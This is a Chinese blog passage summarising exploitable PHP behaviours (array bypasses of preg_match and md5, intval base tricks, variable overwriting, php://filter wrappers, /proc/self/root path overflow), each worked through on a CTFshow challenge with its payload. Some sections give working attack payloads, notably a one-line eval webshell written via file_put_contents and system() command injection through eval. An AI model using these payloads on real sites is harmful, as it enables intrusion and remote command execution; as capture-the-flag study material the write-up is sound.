PHP特性总结(完结版)

php特性总结

用于记录在php的学习过程中,遇到的所有php存在漏洞的特性。

数组绕过匹配

例题:CTFshow-web89

<?php

include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

这题考察的是数组绕过

preg_match当检测的变量是数组的时候会报错并返回0。

intval 转换数组类型时 不关心数组中的内容 只判断数组中有没有元素,空数组 返回 0,非空数组 返回

如果我们的payload如下

?num[]=1    //num[0]=1

这样num是数组能绕过匹配,并且数组内有一个元素符合下面的判断,因此输出flag

image-20250422200916292

intval函数特性

例题:web90,92,93

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

intval()函数的作用是将变量转换为整数类型

下面介绍一下intval函数的用法

语法:

intval($num, $base);
$base:这是可选参数,代表进制数,默认值为 10。该参数主要用于对字符串进行转换,在其他类型转换时通常会被忽略。

当第一个参数$num为数组的时候,只判断里面有没有元素,有元素就为1,为空数组才为0。

当第二个参数($base)为 0 时,PHP 会自动根据 $num 的格式来推断数字的基数:

  1. 如果 $num0x 开头,PHP 会将其作为十六进制数来处理。
  2. 如果 $num0 开头(且不是 0x),PHP 会将其作为八进制数来处理。
  3. 如果 $num 没有前缀,则默认为十进制数。

所以如果我们的$num的值是一个以0开头的八进制数,这个函数会自己给我们转换成十进制数

所以我们只需要写一个4476的八进制数010574,这样便能绕过第一个if。但是满足第二个if

弱等于与强等于

什么是弱等于什么是强等于?

  • 弱等于(==)是 PHP 中仅比较值的运算符,会自动转换数据类型以达成相等性判断;
  • 强等于(===)则是同时校验值与数据类型的严格比较运算符,不执行类型转换。

例题web90

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

可以看到这一题是强等于,也就是值与类型都要相等才可以。

那么这一关的payload除了八进制的那种还可以有很多种解法

4476.0
+4476
4476;
4476e1

但如果是弱等于(==)的话

则只能使用

010574
或者十六进制了

换行绕过

例题:web91

<?php

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

Notice: Undefined index: cmd in /var/www/html/index.php on line 15
nonononono

/^php$/这个正则表达式的含义是严格从第一个字符到结尾字符就是php

/^php$/im则代表不区分大小写,并且允许换行识别

所以只有下面的情况能满足/^php$/im

php

1.%0aphp    %0a代表换行
换行后是
1.
php ->匹配/^php$/

然后可以看到第二个正则表达式/^php$/i并没有m选项,也就是说不区分换行

所以如果使用

1.%0aphp能满足第一个if,又绕过第二个if,从而输出flag

strpos函数特性

例题:web94

<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

strpos 函数strpos 是 PHP 里用于查找字符串中某个子字符串首次出现位置的函数。

所以此题是检测0首次出现的位置,所以我们的num开头不能是0,不然strpos返回的是0,取反后满足条件输出no。

通过在开头加上个%20,也就是空格就可以绕过了。加+也行

image-20250715171256216

有下面这几个payload

+010574
%0A010574

数组绕过MD5

<?php

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

MD5加密对数组无效,返回null

所以这题可以用payload

a[]=1&b[]=2

image-20250715172822615

报错内容就是说MD5加密不能作用在数组上。

当然还可以选择两个md5加密后相等的也可以,但是不好找

下面的是别的大佬给的

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

php中的引用&

php中的&其实就是与C++中的一样,相当于有一个分身跟你执行一个地址,分身变你也变。

$a=array();
$b=array();
$a=&$b

这个代码的含义就是a的地址被赋值指向b的地址,这样a就相当于b的分身,甚至可以直接拿a当b。

下面看例题:

ctfshow-web入门-web98

<?php

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>

在PHP中,其实$_GET,$_POST,$_COOKIE,$_SERVER其实都是数组的地址。

所以这个代码的意思就是

  1. 如果存在GET参数,则$_GET=&$_POST意思就是GET数组的地址等于POST地址的引用,可以理解为GET变成了POST,即GET就是POST。
  2. 当GET数组中flag参数的值等于flag则,GET再变成COOKIE
  3. 当GET数组中存在flag参数,GET再变成SERVER
  4. 当GET数组中HTTP_FLAG参数的值等于flag,则highlight_file($flag),相当于打印flag。

所以目的很明确,要想打印flag,就可以给GET随便传一个参数,目的就是让GET中存在参数,让GET变成POST。

然后中间两条三目运算符可以让其不成立,即不要参数flag。在最后一条语句中$_GET['HTTP_FLAG']=='flag',其实就是$_POST['HTTP_FLAG']=='flag',满足这个条件就打印flag。

那么payload就是

#GET
?1=1

#POST
HTTP_FLAG=flag

image-20250715223931876

成功获得flag

in_array函数的特性

例题:ctfshow-web入门-web99

<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}
?>

代码的含义就是,从36到877循环,每次一插入一个(1,$i)随机数到$allow数组内。循环结束以后,判断GET中是否存在参数n,并且$_GET['n']的值是否在$allow数组内。如果是则将$_POST['content']的内容写入$_GET['n']内。

这里利用的漏洞点就是in_array函数的特性。

先来介绍一下in_array函数的用法

in_array(mixed $needle, array $haystack, bool $strict = false)

其中$needle代表要检查的值
$haystack代表要检索的数组
$strict则代表是否同时比较类型,默认为false即只判断值是否存在数组中而不比较类型(相当于弱等于==),只有被设置为true的时候才会比较类型。

这题里并没有设置为true,也就是比较是弱等于。那么我们便可以让n等于一个以数组开头的文件,然后通过content写入内容到文件中。

payload如下

#GET
?n=1.php

#POST
content=<?php eval($_POST[666]);?>

注意POST传参的时候要url编码一下
payload的含义就是,将一句话木马写入1.php文件中,如果不存在则会自己创建在当前目录下。

传参完以后便可以拿蚁剑连接1.php了

image-20250715231248932

然后翻阅目录就能找到flag

image-20250715231308519

运算符=的优先级大于and

例题:web100

<?php

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }

}
?>

可以看到题目告诉我们flag在类ctfshow里面,并且创建了一个对象$ctfshow。那么最后的关键应该就是打印对象即可。

分析代码可以得知,通过GET传入三个参数v1,v2,v3。

然后会经过

$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);

这段代码是整个题目的关键所在。

其中is_numeric()函数会判断是否为数字,只有满足才为true。

按照一般的逻辑来想,一般人都可能会认为是先判断v1,v2,v3是否为数字。然后将三个bool值通过and以后赋值给v0,然后进行下面的操作。

其实并非如此,因为运算符=的优先级大于and的特性

所以当接收完第一个参数$v1,并is_numeric($v1)完以后,就会执行$v0=is_numeric($v1),然后才会去and is_numeric($v2)以及and is_numeric($v3)。后面这两个and就并不会影响v0的值了。

所以我们只需要让is_numeric($v1)为true,然后通过v2,v3来构造出打印对象的payload就行了。

?v1=21&v2=var_dump($ctfshow)/*&v3=*/;

解释如下
首先v1=21这样就满足is_numeric($v1)为true --> $v0=true -->if($v0)满足
然后v2=var_dump($ctfshow)/*便会打印对象
v3=*/;这里与v2拼接在一起就将('ctfshow')给注释掉了。
最终效果就是成功打印对象

image-20250718141515054

注意到flag里面还有0x2d其实就是-的十六进制,替换再包含ctfshow即可

ReflectionClass反射类

例题:web101

<?php

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }

}
?>

这一次可以看到过滤了很多的特殊字符,并且也无法使用注释来将中间的('ctfshow')给注释掉。

既然题目中间给了那说明肯定是有用处的。我们可以考虑使用 ReflectionClass 建立反射类。

反射,通俗来讲就是可以通过一个对象来获取所属类的具体内容,php中内置了强大的反射API:

ReflectionClass:一个反射类,功能十分强大,内置了各种获取类信息的方法,创建方式为new ReflectionClass(str 类名),可以用echo new ReflectionClass(‘className’)打印类的信息。

ReflectionObject:另一个反射类,创建方式为new ReflectionObject(对象名)。

可以看下面的代码来演示ReflectionClass具体的作用。

<?php
class hacker{
    public $hackername = "yn8rt";
    const  yn8rt='nb666';
    public  function show(){
    echo $this->hackername,'<br>';
    }
}
$reflection = new ReflectionClass('hacker');//实例化反射对象,映射hacker类的信息
$consts = $reflection->getConstants();//获取所有常量
$props = $reflection->getProperties();//获取所有属性
$methods = $reflection->getMethods();//获取所有方法
var_dump($consts);
var_dump($props);
var_dump($methods);
?>
# 输出如下
<!-- array(1) {
  ["yn8rt"]=>
  string(5) "nb666"
}
array(1) {
  [0]=>
  &object(ReflectionProperty)#2 (2) {
    ["name"]=>
    string(10) "hackername"
    ["class"]=>
    string(6) "hacker"
  }
}
array(1) {
  [0]=>
  &object(ReflectionMethod)#3 (2) {
    ["name"]=>
    string(4) "show"
    ["class"]=>
    string(6) "hacker"
  }
} -->

所以有如下的payload

?v1=1&v2=echo new Reflectionclass&v3=;

image-20250718143559122

其中将0x2d替换成-,题目还告诉我们要爆破最后一位由于是十六进制,我们只需要爆破0-9a-f即可

bin2hex的巧用

例题:web102

<?php

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}
?>

先介绍一下几个函数的作用

is_numeric($v2):判断是否为数字类型,不能是"123aaa"但可以是“111”
substr($v2,2):从第三个字符开始截取字符串
call_user_func($v1,$s): 第一个参数是要执行的函数,第二个参数是要执行函数的参数
file_put_contents($v3,$str):将$str的内容,写入$v3中。其中$v3处一般要填写的都是文件名,如果文件不存在则会自己创建。并且$v3还可以使用php伪协议

本题有如下的限制

  • v2必须是数字
  • v1必须是一个函数,可以用来处理v2
  • v3是一个文件名

所以本题的大致思路就是通过$str = call_user_func($v1,$s)返回的结果是一个php代码,然后$v3传入一个文件名,将$str 写入文件,然后访问文件执行php代码。

但是难点便是$v2只能是数字类型,并且call_user_func($v1,$s);函数执行的结果是我们想执行的php代码。

这里参考了别的师傅的Wp,发现可以使用下面这种思路:

我们先看下面的代码:

<?php

$a='<?=`$_POST[0]`;';//想写入文件内的php代码

$b=base64_encode($a);//base64编码

echo $b."\r\n";

$c=bin2hex($b);//将ascii字符转为16进制数

echo $c."\r\n";

$d=hex2bin($c);//将16进制数转为ascii字符

echo $d."\r\n";

$e=base64_decode($d);//base64解码

echo $e."\r\n";

?>

# 执行结果
PD89YCRfUE9TVFswXWA7
5044383959435266554539545646737758574137
PD89YCRfUE9TVFswXWA7
<?=`$_POST[0]`;

可以看到,如果我们v2传入的是115044383959435266554539545646737758574137的话是纯数字(开头加上了11是因为substr($v2,2)会将前两个字符截取掉),所以可以通过is_numeric使得v4为true。然后让v1=hex2bin,将v2解码,返回值为PD89YCRfUE9TVFswXWA7。这是我们想执行的php代码的base64编码后的结果,然后在file_put_contents($v3,$str)的时候,其实$v3可以写成php伪协议的方式那我们便可以在写入的时候对其base64解码。那我们便可以使用下面的payload

# POST
v1=hex2bin

# GET
?v2=115044383959435266554539545646737758574137&v3=php://filter/write=convert.base64-decode/resource=2.php

传完参以后便可以访问2.php

image-20250718162113237

可以看到成功写入并执行了我们的php代码

<?=`$_POST[0]`;

这个代码会执行$_POST[0]的命令

image-20250718162225277

成功发现flag,直接读

image-20250718162258240

sha1与弱相等特性

例题:web104

<?php

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}

?>

题目中sha1函数其实就是对其进行hash加密。

但是由于php的弱相等的特性,如果两个hash加密的结果的开头都是0e,那么在==比较的时候都会被当作科学计数法的0从而认为相等。

那么只需要找到两个字符串的hash加密后都是0e开头的即可

这题还没有约束$v1和$v2要不相等,那我们甚至只需要找到一个就行。

sha1加密后以0e开头的有:
QNKCDZO
240610708

image-20250718170533882

变量覆盖与die($error)的特性

例题:web105

<?php

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);

?>

foreach 在 PHP 中用于遍历数组或对象。

key 和 value 分别表示数组中的键和对应的值。

其中$$key=$$value;存在变量覆盖的问题。

解释一下变量覆盖的特性。
比如说$_GET['aaa']=abc
$$key=$$value;  -->  $aaa=$abc

再比如说
$_GET['aaa']=flag
$$key=$$value;  -->  $aaa=$flag

这样$aaa就相当于变成了$flag

并且可以看到代码中有三个全局变量$error,$suces,$flag。

代码中还有几个要点

  • GET中的参数key不能为error
  • POST中key的值value不能为flag

在打印$flag变量之前还会经过如下逻辑

if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);

会先判断POST中flag参数的值是否等于$flag,如果不是则die($error); 如果是则输出$flag。

这里便再提一下die()函数的特性

die函数通常包含错误信息使用,比如die($error);
效果就是,打印错误信息,并且中止程序。
但是如果参数是别的变量而不是错误信息,die函数也会打印变量信息。

那我们便有两种解法来解此题

  1. 通过变量覆盖$error为$flag,并通过die($error);打印flag

传入参数如下:

?suces=flag
post: error=suces

解释如下:
题目中给了两个全局变量给我们用来覆盖使用$error与$suces

这样传参,GET中key不为error,然后执行$$key=$$value;  -->  $suces=$flag 
也就是$suces被变量覆盖为$flag。

POST中value不为flag,然后执行$$key=$$value;  --> $error=$suces=$flag、
$error被变量覆盖为$suces,也相当于$flag。

这种情况下if(!($_POST['flag']==$flag))为true,便会执行die($error)打印flag并终止程序

image-20250719140815328

  1. 第二种方式便是满足$_POST['flag']==$flag,通过die($suces);打印flag

这种方式比较难想到,我是看大佬的Wp学到的

# GET
?suces=flag     $suces变量覆盖为$flag变量

# POST
flag=

没错POST传入的flag就是等于空,这样变量覆盖以后就相当于$flag=null了,这样也满足了$_POST['flag']==$flag

最后通过die($suces);打印了flag

parse_str函数

例题:web107

<?php

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }

}

?>

先来了解一下parse_str($v1,$v2);的作用

parse_str() 函数:
parse_str(string,array);   其中string为必需规定要解析的字符串。array可选。规定存储变量的数组的名称。该参数指示变量将被存储到数组中。

看下面两个例子
<?php
parse_str("name=Bill&age=60");
echo $name."<br>";
echo $age;
?>
//Bill<br>60

<?php
parse_str("name=Bill&age=60",$myArray);
print_r($myArray);
?>

//Array
(
    [name] => Bill
    [age] => 60
)

弄清楚函数的作用之后便很简单了,就是让v2数组中键为flag的值等于md5加密后的v3即可

有两种方式来解答

第一种

#GET
?v3=666

#POST
v1=flag=fae0b27c451c728867a567e8c1bb4e53        这一串是md5加密后的666(MD5加密最好用本地的php环境跑出来)

解释一下为什么POST要这样传参。

看如下代码

<?php
$v1=$_POST["v1"];
print_r($v1);
echo "<br>";
print_r($_POST);
echo "<br>";
parse_str($v1, $v2);
print_r($v2);
?>

# 运行结果
flag=111
Array ( [v1] => flag=111 )
Array ( [flag] => 111 )

可以看到如果我们在POST的时候,使用了连等=,那么第一个=后面的所有内容也就是flag=111都被视为了一个字符串。
然后让$v1接收值就等于flag=111了。
再根据我们前面对parse_str函数的了解,$v2数组就会加入键值为flag,值为111的元素。

运行结果如下

image-20250719150838555

第二种方式:通过数组绕过

这种方式其实在前面的web97就已经提及到了。直接看payload吧

#GET
?v3[]=1

#POST
v1=111              为任意数字都行

因为md5加密无法处理数组,所以md5($v3)结果为0。

又因为$v1中没有flag=xxx,所以$v2['flag']也为空也就是0。在弱相等下左右就相等满足条件。

ereg函数的致命缺陷%00截断

例题:web108

<?php

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}

?>

这个代码中使用了一个十分古老的函数ereg,去网上随便搜一下用法与缺陷这题就非常好解了。

用法如下。

ereg() 用于判断字符串是否匹配指定的正则表达式模式。如果匹配成功,返回匹配的字符长度;如果失败,返回 FALSE。

ereg(pattern, string, [matches]);
pattern:正则表达式模式(不使用分隔符,如 /.../)。
string:要检查的字符串。
matches(可选):如果提供,匹配结果会被存入该数组。

与 preg_match() 不同,ereg() 的模式不需要用 / 或其他分隔符包裹。

ereg函数存在的致命缺陷NULL 截断漏洞

ereg() 在处理字符串时,如果遇到 %00会提前终止匹配,导致验证绕过。例如:

// 本想验证 "admin",但传入 "admin%00xyz" 会绕过检查
if (ereg("^admin$", $_GET['user'])) {
    echo "管理员权限";
}

所以这题就很简单了

?c=a%00778

解释一下: 开头写个a是为了匹配正则表达式,然后%00截断后面的匹配。然后经过strrev以后变成了877%00a,再经过intval就变成了877。而877就是0x36d的十进制,所以相等。

image-20250719155938184

魔术方法__toString() 和异常处理机制实现执行任意代码

例题:web109

<?php

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }
}
?>

正则匹配要求v1和v2都必须包含字母。new $v1 创建一个名为 v1 的类的实例,($v2()) 调用 v2 方法,将其返回值作为参数传递给 v1 类的构造函数,echo 输出创建的对象,由于 echo,如果 v1 类实现了 __toString() 方法,该方法会被调用并输出结果。

所以需要找到系统中内置有__toString() 方法的类。通过使用这些类,可以将代码注入到 eval 中并输出结果。

?v1=Exception&v2=system('ls')
?v1=CachingIterator&v2=system(ls)
?v1=ReflectionClass&v2=system('tac fl36dg.txt')

image-20250720143223873

image-20250720143241989

由于 Exception 类的构造函数可以接受任意字符串参数,并且其 __toString() 方法会返回该字符串参数,eval 会输出 system('tac fl36dg.txt') 的结果,即文件内容。

除了上面那种方式,还可以使用匿名类结合魔术方法。直接看下面的payload

?v1=class{ public function __construct(){system('tac f*');}};&v2=w

new class{ public function __construct(){system('tac f*');}} 创建一个匿名类,并执行其构造函数,运行 system('tac f*');w() 是一个无效的函数调用,但由于构造函数已经执行,系统命令也已经执行,函数调用的失败并不会影响系统命令的执行结果。

image-20250720143524940

内置类FilesystemIterator的使用

例题: web110

<?php

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }

    eval("echo new $v1($v2());");
}
?>

可以看到这一次正则匹配将除了字母外的字符基本都给过滤掉了。并且括号也没了。那么上一关的做法肯定不行了。

我们首要的目的肯定还是找到flag的位置所在,也就是要查看目录。这个时候还可以通过php的内置类FilesystemIterator来实现。

php 中查看目录的函数有:scandir()、golb()、dirname()、basename()、realpath()、getcwd() ,其中 scandir()、golb() 、dirname()、basename()、realpath() 都需要给定参数,而 getcwd() 不需要参数,getcwd() 函数会返回当前工作目录。

所以有如下的payload

?v1=FilesystemIterator&v2=getcwd

image-20250720145359134

可以看到在当前工作目录下有一个fl36dga.txt,也就是网站根目录。那我们可以直接通过url访问。

image-20250720145459477

超全局变量 $GLOBALS的使用

例题:web111

<?php

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }

    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }
}
?>

正则匹配要求v1和v2都只能是字母,然后匹配到$v1中有ctfshow的时候才会去执行getFlag($v1,$v2);

在getflag函数中,就是执行了一个变量覆盖的语句,然后便打印$$v1。

一开始我的想法是变量覆盖让$$v1=$flag。

?v1=ctfshow&v2=flag

屏幕截图 2025-07-20 150446

但是可以看到直接返回了一个NULL,也就是说$$v1=NULL。原因是在flag.php中并没有$flag这个全局变量。

这个时候肯定不能用$flag了,改为用超全局变量 $GLOBALS。$GLOBALS 是PHP的一个超级全局变量组,包含了全部变量的全局组合数组,变量的名字就是数组的键。

?v1=ctfshow&v2=GLOBALS

image-20250720151120368

php伪协议的使用

例题:web112,114

<?php

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(!is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

可以看到过滤了很多协议和过滤器,以及../。is_file函数会检测文件是否是一个合规的文件。

但是发现没有过滤伪协议php://filter

那么可以使用下面这些的payload

# 不使用过滤器
?file=php://filter/resource=flag.php

# 使用没有被过滤的过滤器
?file=php://filter/convert.quoted-printable-encode/resource=flag.php
?file=php://filter/convert.iconv.UTF-8.UTF-16/resource=flag.php
?file=php://filter/zlib.deflate|zlib.inflate/resource=flag.php  压缩再解压就等同于不使用过滤器

等等......

屏幕截图 2025-07-20 171308

或者使用别的没有被过滤的伪协议

?file=compress.zlib://flag.php

image-20250720171544702

目录溢出绕过

例题:web113

<?php

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

代码其实与上一条的代码没啥区别,只不过多过滤了个filter。所以使用伪协议也能解决。

但是这里我要介绍的是PHP中目录溢出的特性

通过目录溢出导致 is_file 无法正确解析,认为这不是一个文件,返回 FALSE。

导致目录溢出的方式有两种:

  1. 不断的../../../../../../../../
  2. 不断的/proc/self/root/proc/self/root/proc/self/root

在这题中../被过滤掉了,而且第一种方式比较直白所以便不再解释了。

说一下第二种方式:
其中 /proc/self/root 是 Linux 系统中一个特殊的符号链接,它始终指向当前进程的根目录。

image-20250720172649740

可以看到/proc/self/root就等同于/

那么便有如下的payload

?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

image-20250720173005838

is_numeric与trim函数的绕过

例题:web115

<?php

include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
} hacker!!!

先讲解一下每个函数的作用。

trim() 函数移除字符串两侧的空白字符或其他预定义字符。

用法:trim(string,charlist)

参数  描述
string  必需。规定要检查的字符串。
charlist    可选。规定从字符串中删除哪些字符。如果省略该参数,则移除下列所有字符:
"\0" - NULL
"\t" - 制表符
"\n" - 换行
"\x0B" - 垂直制表符
"\r" - 回车
" " - 空格

所以对没有设定charlist的trim函数而言,会去除空格( %20)、制表符(%09)、换行符(%0a)、回车符(%0d)、空字节符(%00)、垂直制表符(%0b),但不去除换页符(%0c)。

is_numeric函数用于检测参数是否是一个数字,可以在数字前面加空格绕过,%0c 是换页符,%09 和 %20 也都可以让 is_numeric() 函数返回为 TRUE。

image-20250722193506267

输出flag有五个条件:

  1. is_numeric($num):可以通过在数字前加空格、换页、tab绕过
  2. $num!=='36':num不强等于36,数值与类型都一致才相等。
  3. trim($num):trim() 函数移除字符后不强等于36,可以通过在开头加%0c换页符,不在去除名单内。
  4. filter($num)=='36',过滤后弱等于36
  5. $num=='36':num与36弱相等

那么便可以使用下面这个payload

?num=%0c36

image-20250722221005709

还需要提一点,那就是(!==与===)是强比较,是同时比较类型与值,所以不会进行类型转换(intval)。所以$num!=='36'才为true,因为$num开头还有一个\f。而如果是==,这就是弱比较,会先进行类型转换(intval),类型转换后$num开头的换页符便会去掉,所以满足$num=='36'。

最终效果如下。

image-20250722221917714

PHP8以下版本参数含'['会中断后续非法字符替换

例题:web123,125

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

要求POST中存在参数CTF_SHOW,CTF_SHOW.COM。GET中不能有fl0g。然后正则匹配过滤掉了一部分的字符,符合则eval命令执行。$c是通过$_POST['fun'];传入的。

直接先把payload给出来再讲解:

CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag

在给参数传值的时候,如果参数中存在非法字符的话,比如说空格和点,则参数名中的点和空格等非法字符都会被替换成下划线。这里我重点要说的是,在PHP8版本以前如果参数中出现中括号 [ ,那么中括号会被转换成下划线 _ ,但是会出现转换错误,导致如果参数名后面还存在非法字符,则不会继续转换成下划线。我们可以注意到CTFSHOW.COM参数中有一个.,按照正常来传参点会被地缓存下划线。但是我们可以利用前面说的特性,刻意拼接中括号[来制造这种错误,来保留后面的非法字符。

确保传参符合条件后,由于没有过滤字母和空格,直接用 echo 输出 flag,后面会拼接好分号。

image-20250723130555682

$_SERVER['argv']的使用

例题:web126

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
